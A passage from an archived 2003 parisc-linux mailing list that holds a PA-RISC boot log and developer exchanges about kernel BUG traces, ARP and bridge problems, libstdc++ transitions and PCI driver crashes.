Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
-> /dev
-> /dev/console
-> /root
POSIX conformance testing by UNIFIX
Initializing RT netlink socket
EISA bus registered
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf4000000 [0], versions 0x4, 0x0, 0x77
2. Mirage GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x13, 0x0, 0x85
3. Mirage Core BA (11) at 0xf0100000 [2], versions 0x29, 0x0, 0x81
4. Mirage Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x29, 0x0, 0x82
5. Mirage Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x29, 0x0, 0x8a
6. Mirage Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x29, 0x0, 0x8c
7. Mirage Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x29, 0x0, 0x74
8. Mirage Audio (10) at 0xf0104000 [2/0/8], versions 0x29, 0x0, 0x7b
9. Mirage Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x29, 0x0, 0x83
10. Mirage Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x29, 0x0, 0x84
11. Mirage Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x29, 0x0, 0x84
12. Mirage Wax BA (11) at 0xf0200000 [5], versions 0x13, 0x0, 0x8e
13. Mirage 100 Wax HIL (10) at 0xf0201000 [5/0/1], versions 0x13, 0x0, 0x73
14. Mirage Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x13, 0x0, 0x8c
15. Mirage 100 (0) at 0xfffbe000 [8], versions 0x60b, 0x0, 0x4
16. Memory (1) at 0xfffbf000 [9], versions 0x4b, 0x0, 0x9
CPU(s): 1 x PA7100LC (PCX-L) at 100.000000 MHz
Lasi version 0 at 0xf0100000 found.
Wax at 0xf0200000 found.
BIO: pool of 256 setup, 14Kb (56 bytes/bio)
biovec pool[0]:   1 bvecs: 244 entries (12 bytes)
biovec pool[1]:   4 bvecs: 244 entries (48 bytes)
biovec pool[2]:  16 bvecs: 244 entries (192 bytes)
biovec pool[3]:  64 bvecs: 244 entries (768 bytes)
biovec pool[4]: 128 bvecs: 122 entries (1536 bytes)
biovec pool[5]: 256 bvecs:  61 entries (3072 bytes)
block request queues:
 4/128 requests per read queue
 4/128 requests per write queue
 enter congestion at 15
 exit congestion at 17
SCSI subsystem initialized
pty: 256 Unix98 ptys configured
Journalled Block Device driver loaded
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
Serial: 8250/16550 driver $Revision: 1.90 $ IRQ sharing enabled
Gecko-style soft power switch enabled.
lp: driver loaded but no devices found
Generic RTC Driver v1.07
ttyS0 at MMIO 0xf0105800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xf0202800 (irq = 121) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xf0102800, irq 88 [PCSPP,TRISTATE]
lp0: using parport0 (interrupt-driven).
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0107000, IRQ 87
eth0: 82596 at 0xf0107000, 08 00 09 7A DC 08 IRQ 87.
82596.c $Revision: 1.29 $
airo:  Probing for PCI adapters
airo:  Finished probing for PCI adapters
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2
scsi0 : LASI SCSI 53c700
scsi0: (2:0) Synchronous at offset 8, period 100ns
  Vendor: PLEXTOR   Model: CD-ROM PX-20TS    Rev: 1.01
  Type:   CD-ROM                             ANSI SCSI revision: 02
scsi0: (3:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST32430N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
st: Version 20030413, fixed bufsize 32768, s/g segs 256
scsi0: (3:0) Enabling Tag Command Queuing
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
SCSI device sda: drive cache: write back
 sda: sda1 sda2 sda3 sda4
Attached scsi disk sda at scsi0, channel 0, id 3, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Attached scsi generic sg0 at scsi0, channel 0, id 2, lun 0,  type 5
Attached scsi generic sg1 at scsi0, channel 0, id 3, lun 0,  type 0
STI GSC/PCI core graphics driver Version 0.9a
STI byte mode ROM at f4000000, hpa at f4000000
STI id 2bcb015a-9a02587, conforms to spec rev. 8.04
STI device: HPA4071A
STI word mode ROM at f0024000, hpa at f8000000
STI id 2b4ded6d-40a00499, conforms to spec rev. 8.04
STI device: HPA208LC1024
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
mice: PS/2 mouse device common for all mice
Found HIL bus at 0xf0201000, IRQ 126
HIL: no keyboard present.
input: HIL keyboard, ID -1 at 0xf0201000 (irq 126) found and attached
Keyboard initialization sequence failled
gsckbd_leds: timeout
input: PS/2 keyboard port at 0xf0108000 (irq 69) found and attached
input: PS/2 mouse port at 0xf0108100 (irq 69) found and attached
oprofile: using timer interrupt.
NET4: Linux TCP/IP 1.0 for NET4.0
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 8192 bind 16384)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 516k freed

INIT: version 2.84 booting
Mounting devfs on /dev
mount: devfs has wrong device number or fs type devfs not supported
Loading /etc/console/boottime.kmap.gz
Activating swap.
Adding 132920k swap on /dev/sda3.  Priority:-1 extents:1

Checking root file system...
fsck 1.34-WIP (21-May-2003)
/dev/sda4: clean, 105836/237120 files, 394653/474075 blocks
EXT3 FS 2.4-0.9.16, 02 Dec 2001 on sda4, internal journal

System time was Sun Jun 22 09:37:50 UTC 2003.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Sun Jun 22 09:37:52 UTC 2003.
Checking all file systems...
fsck 1.34-WIP (21-May-2003)
/dev/sda2: clean, 30/10944 files, 35929/43617 blocks
Setting kernel variables..
Mounting local filesystems...
/dev/sda2 on /boot type ext2 (rw)
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces... eth0: link ok.

done.
Starting portmap daemon: portmap.
Loading the saved-state of the serial devices...
Setting up general console font...set_kernel_font: Function not implemented
cannot (un)set powersave mode
[14;30]
Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Sun Jun 22 11:37:59 CEST 2003

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.
Setting up X server socket directory /tmp/.X11-unix...done.

INIT: Entering runlevel: 2

Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting mouse interface server: gpm.
Starting printer spooler: lpd.
Starting OpenBSD Secure Shell server: sshd.
Starting webmin: webmin.
Setting up X font server socket directory /tmp/.font-unix...done.
Starting X font server: xfs.
Starting internet superserver: xinetd.
Restoring mixer settings: failed.
Starting NFS common utilities: statd lockd.
Starting anac(h)ronistic cron: anacron.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.
Setting up X server socket directory /tmp/.X11-unix...done.

--------------040504060700030405030907--



From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ARP resolution trouble
Date: 22 Jun 2003 11:52:21 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <1056279139.2075.6.camel@dhcp22.swansea.linux.org.uk>
References: <yam9303.300.149243336@esteban.rebellion>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622532 26948 80.91.229.3 (22 Nov 2014 02:15:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: baddy@free.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 22 07:08:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id DFE034829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Jun 2003 07:08:21 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h5MAqQRQ011480;
	Sun, 22 Jun 2003 11:52:27 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h5MAqLMK011478;
	Sun, 22 Jun 2003 11:52:21 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <yam9303.300.149243336@esteban.rebellion>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18724

On Sul, 2003-06-22 at 09:17, baddy@free.fr wrote:
>     - this request is not see at all by the B132L which already have the
>     mac address of the host in his mac address table (I think it is because
>     the B132L keep it from a previous trafic).

Sounds like you have a buggy bridge somewhere. Some vendors can't read
the specs and drop rather than flood unknown mac addresses. This breaks
stuff just as you describe.




From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem during dselect with 2.5.72-pa1
Date: Sun, 22 Jun 2003 17:21:08 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <3EF5C964.1040208@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622532 26949 80.91.229.3 (22 Nov 2014 02:15:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 22 09:20:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail1.medianet-world.de [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id B86FC4851
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Jun 2003 09:20:13 -0600 (MDT)
Original-Received: (qmail 18706 invoked from network); 22 Jun 2003 15:20:12 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.24.114)
  by mail.medianet-world.de with SMTP; 22 Jun 2003 15:20:12 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18725

Hi there,

after getting a working 2.5-kernel, I decided play a little bit with it. 
So I run dselect to update my debian. Everything went fine until 
unpacking a large package, the package "tetex-extra". After a while I 
heard no sound from the harddisk and dselect didn't response, so I 
opened the serial console. The following errror was reported in an 
endless loop:

------------SNIP-------------

    kernel BUG at include/linux/swapops.h:68!
    Kernel addresses on the stack:
     [<10124f20>] .L1612+0x0/0x38
     [<10105adc>] dump_stack+0x10/0x1c
     [<1014f0bc>] .L1248+0x0/0x28
     [<10140a78>] .L1226+0x0/0x7c
     [<1014f214>] .L1302+0x14/0x180
     [<10152354>] .L1179+0x0/0x90
     [<10145590>] .L1536+0x58/0x244
     [<101440ac>] .L1286+0x20/0x30
     [<10145a50>] .L1553+0xc4/0x2b8
     [<10146324>] .L1729+0xb8/0xec
     [<10146750>] balance_pgdat+0x16c/0x1bc
     [<10146880>] .L1802+0x0/0x70
     [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

    kernel BUG at mm/rmap.c:343!
    Kernel addresses on the stack:
     [<10124f20>] .L1612+0x0/0x38
     [<10105adc>] dump_stack+0x10/0x1c
     [<1014efcc>] .L1254+0x0/0x24
     [<10140a78>] .L1226+0x0/0x7c
     [<1014f214>] .L1302+0x14/0x180
     [<10152354>] .L1179+0x0/0x90
     [<10145590>] .L1536+0x58/0x244
     [<101440ac>] .L1286+0x20/0x30
     [<10145a50>] .L1553+0xc4/0x2b8
     [<10146324>] .L1729+0xb8/0xec
     [<10146750>] balance_pgdat+0x16c/0x1bc
     [<10146880>] .L1802+0x0/0x70
     [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

    kernel BUG at include/linux/swapops.h:68!
    Kernel addresses on the stack:
     [<10124f20>] .L1612+0x0/0x38
     [<10105adc>] dump_stack+0x10/0x1c
     [<1014f0bc>] .L1248+0x0/0x28
     [<10140a78>] .L1226+0x0/0x7c
     [<1014f214>] .L1302+0x14/0x180
     [<10152354>] .L1179+0x0/0x90
     [<10145590>] .L1536+0x58/0x244
     [<101440ac>] .L1286+0x20/0x30
     [<10145a50>] .L1553+0xc4/0x2b8
     [<10146324>] .L1729+0xb8/0xec
     [<10146750>] balance_pgdat+0x16c/0x1bc
     [<10146880>] .L1802+0x0/0x70
     [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

    kernel BUG at mm/rmap.c:343!

------------SNAP-------------

Any idea why this had happened?
Kernel was compiled via "make defconfig", but disabled HIL-Support and 
gcc-3.2.

Rdiger



From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-15?Q?R=FCdiger_Scholz?= <r.scholz@bluehash.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem during dselect with 2.5.72-pa1
Date: Sun, 22 Jun 2003 17:28:46 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <3EF5CB2E.9080701@bluehash.de>
References: <3EF5C964.1040208@bluehash.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622532 26953 80.91.229.3 (22 Nov 2014 02:15:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 22 09:27:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.medianet-world.de (mail1.medianet-world.de [213.157.0.162])
	by dsl2.external.hp.com (Postfix) with SMTP id 7D4AD4859
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Jun 2003 09:27:51 -0600 (MDT)
Original-Received: (qmail 20135 invoked from network); 22 Jun 2003 15:27:50 -0000
Original-Received: from unknown (HELO bluehash.de) (213.157.24.114)
  by mail.medianet-world.de with SMTP; 22 Jun 2003 15:27:50 -0000
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.3) Gecko/20030312
X-Accept-Language: de-de, de, en-us, en
In-Reply-To: <3EF5C964.1040208@bluehash.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18726

Sorry, but I have to reply myself. Apart from the error dselect worked 
further on and it gave me the following message:

------------SNIP-----------

    Vorbereiten zum Ersetzen von tetex-extra 1.0.2+20011202-3 (durch
    .../tetex-extra_2.0.2-4_all.deb) ...
    Entpacke Ersatz fr tetex-extra ...
    texhash: Updating /var/lib/texmf/ls-R...
    texhash: Done.
    Vorbereiten zum Ersetzen von netbase 4.09 (durch
    .../archives/netbase_4.10_all.deb) ...
    Entpacke Ersatz fr netbase ...
    E: Sub-process /usr/bin/dpkg received a segmentation fault.
    Some errors occurred while unpacking. I'm going to configure the
    packages that were installed. This may result in duplicate errors
    or errors caused by missing dependencies. This is OK, only the errors
    above this message are important. Please fix them and run [I]nstall
    again
    Press enter to continue.

------------SNAP-----------

And another error message appeared on the serial console:

------------SNIP------------

    kernel BUG at mm/memory.c:1440!
    Kernel addresses on the stack:
     [<10124f20>] .L1612+0x0/0x38
     [<10105adc>] dump_stack+0x10/0x1c
     [<1014a798>] do_file_page+0x124/0x134
     [<1014a85c>] .L2265+0x0/0x40
     [<10157b20>] do_sync_write+0x7c/0x88
     [<101248a8>] .L1377+0x0/0x3c
     [<10104a20>] .L918+0x10/0x4c
     [<10157be4>] .L1432+0x0/0x64
     [<10128c48>] .L919+0x10/0x24
     [<101062f0>] .L1040+0x0/0x40
     [<10157d60>] .L1447+0x4c/0x5c
     [<10107268>] do_cpu_irq_mask+0x90/0xf0
     [<1010afe8>] syscall_exit+0x0/0x28
     [<1010a088>] intr_check_sig+0x0/0xc

----------SNAP-------------

Rdiger




From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nick@byu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.3 configuration
Date: Sun, 22 Jun 2003 11:28:39 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200306221128.39787.nick@byu.edu>
References: <16074.48509.259405.775905@gargle.gargle.HOWL> <20030521052351.GV548@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622533 26954 80.91.229.3 (22 Nov 2014 02:15:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 22 11:28:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sfcn.org (unknown [63.117.233.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id 360184856
	for <parisc-linux@lists.parisc-linux.org>; Sun, 22 Jun 2003 11:28:34 -0600 (MDT)
Original-Received: from nick.leippe.com not authenticated [66.237.85.26]
	by sfcn.org with NetMail SMTP Agent $Revision:   3.22.1.3  $ on Novell NetWare;
	Sun, 22 Jun 2003 10:28:33 -0700
User-Agent: KMail/1.5.2
In-Reply-To: <20030521052351.GV548@tausq.org>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18727

On Tuesday 20 May 2003 11:23 pm, Randolph Chung wrote:
> > If yes, does the following approach work: Build a libstdc++5-3.3,
> > conflicting with libstdc++5 (including libstdc++ with the same soname)
> > and doing binary uploads for hppa for all libstdc++5 dependent
> > packages? (The same could be done for m68k, but the compatibility
> > argument doesn't hold as Debian seems to be the only m68k based
> > distro).
>
> Aside from the evilness of doing binNMUs of this magnitude, I doubt a
> "transition" that doesn't change the SONAME will work. As soon as the
> new libstdc++ is installed, every c++ app on the box will instantly
> break. This means if anything happens e.g. to apt during the update, the
> system will get into a very nasty state. I don't think this is worth it.
>

How many critical apps are actually C++?  Is the apt suite itself?
As long as /sbin/* is C, I don't see this as a showstopper for migrating to 
using a superior mechanism, which imo, should be a big goal--the sooner it's  
taken care of the less problematic it will be...

just a thought...

Nick



From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ATY RAGE XL progress or Dino gscpci bridge pb?[was: Re: HP C180 video card]
Date: Sun, 22 Jun 2003 23:04:50 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <20030623050450.GA449@dsl2.external.hp.com>
References: <03f301c3309e$f0c78740$d908f3d8@uvsolutions> <20030613043356.GA7265@dsl2.external.hp.com> <3EEC9AC2.5070106@tiscali.be> <20030615161948.GA12995@dsl2.external.hp.com> <3EF46AA9.7040703@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622533 26957 80.91.229.3 (22 Nov 2014 02:15:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun 22 23:04:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 48E39482B; Sun, 22 Jun 2003 23:04:50 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3EF46AA9.7040703@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18728

On Sat, Jun 21, 2003 at 02:24:41PM +0000, Joel Soete wrote:
...
> c) if I try to use Equinox serial mux (8P) (an oem HP product) module 
> (with our without your patch Grant) the system crashes also?

I haven't tested the Serial 8p PCI card under parisc yet.
To date, that card has always lived in a x86 host. I just
haven't had time to play with it under parisc - I've needed it
working to get other things done.


> The system is a B180 model using Dino GSCPCI bridge and in the two cases 
> (even if messages are a bit different) the TOC shows always a pb on this 
> bus (the analyse of toc after the crash of insmod eqnx point out a pb in 
> timer_? routine).

The symptom is very likely only similar and not identical.
I'd find it very odd if both cards crashed for the same reason.

AFAICT, eqnx driver doesn't call pci_enable_device().  The bug I'd be
looking for is a PCI "resource" (BAR) to be accessed before it was enabled.
Try adding a pci_enable_device() to eqnx_init() or eqx_pci_buspresent().
[ *gag* I'm surprised this code even works on x86. ]

PARISC "hard fails" when reading from disabled or non-existant PCI
address space while x86 "soft fails".  ie x86 gets garbage back on
a "bad" read while PARISC will crash.

The crash in the timer routine is interesting and would make it
interesting for me to move the equinox card to an a500.
Randolph, Paul (Bame), and I occcasionally try to track down the
timer problems that plague SMP under 64-bit parisc kernels.


> And in fact I figure out that I never have to use this 
> bridge for another card?

GSCtoPCI connects the PCI slot to the rest of the system.
Try "lspci" and see what you have connected.

> Is somebody else used it successfuly or could it be broken?

Dino worked fine before.
I ran B180 as my desktop for over a year (my desktop is now a C3000).

grant


From - Thu Nov 08 21:28:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: ATY RAGE XL progress or Dino gscpci bridge pb?[was: Re: HP C180 video card]
Date: Mon, 23 Jun 2003 12:18:36 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030623111836.GA2620@parcelfarce.linux.theplanet.co.uk>
References: <03f301c3309e$f0c78740$d908f3d8@uvsolutions> <20030613043356.GA7265@dsl2.external.hp.com> <3EEC9AC2.5070106@tiscali.be> <20030615161948.GA12995@dsl2.external.hp.com> <3EF46AA9.7040703@tiscali.be> <20030623050450.GA449@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622533 26961 80.91.229.3 (22 Nov 2014 02:15:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:15:33 +0000 (UTC)
Cc: Joel Soete <joel.soete@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 23 05:18:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9FC2482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 23 Jun 2003 05:18:38 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19UPLI-0006zO-VH; Mon, 23 Jun 2003 12:18:36 +0100
Content-Disposition: inline
In-Reply-To: <20030623050450.GA449@dsl2.external.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
